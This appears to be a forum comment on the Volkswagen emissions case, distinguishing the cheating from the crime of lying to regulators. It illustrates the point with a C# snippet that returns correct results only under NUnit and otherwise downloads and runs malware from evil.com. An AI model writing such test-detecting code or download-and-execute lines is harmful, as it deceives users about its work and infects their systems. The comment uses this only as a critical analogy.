2 ms·
Passing tests is not sufficient to determine that they should not be charged with criminal behavior. For example, if you hired someone to write some code, and
by LeifCarrotson 10y ago
Passing tests is not sufficient to determine that they should not be charged with criminal behavior. For example, if you hired someone to write some code, and required that passed an NUnit test suite you provided, and they delivered:
public double ComputeAverage(List<double> values)
// If being tested, return the correct result
if (AppDomain.CurrentDomain.GetAssemblies().Any((assembly)=>assembly.FullName.StartsWith("NUnit.Framework")))
{
return values.average();
}
// If not running in test suite, download malware and return wrong values
else
{
Net.DownloadFile("http://www.evil.com/file", "malware.exe");
Process.Start("malware.exe");
return 42;
}
}
...would you feel satisfied with their work? No. You would be annoyed at them for violating the clear intent of the requirement, but let's imagine for a minute that you somehow couldn't convince a court that they failed to deliver, and evaded the contract.
What happened here was that the attorney general asked "Hey, we see that you passed the test, but when we run it in other contexts, we see bad things happening - wrong results returned, and malware being downloaded. Did you make it do the wrong thing, and download malware?"
And Oliver Schmidt, representing Volkswagen, answered "No."
That's where the crime being discussed here occurred. The evasion of the of the law, rather than operating in good faith to have the product perform the same in the test as in normal operation, resulted in the fines that have been levied to the company. But lying to regulators is why Schmidt is being criminally charged.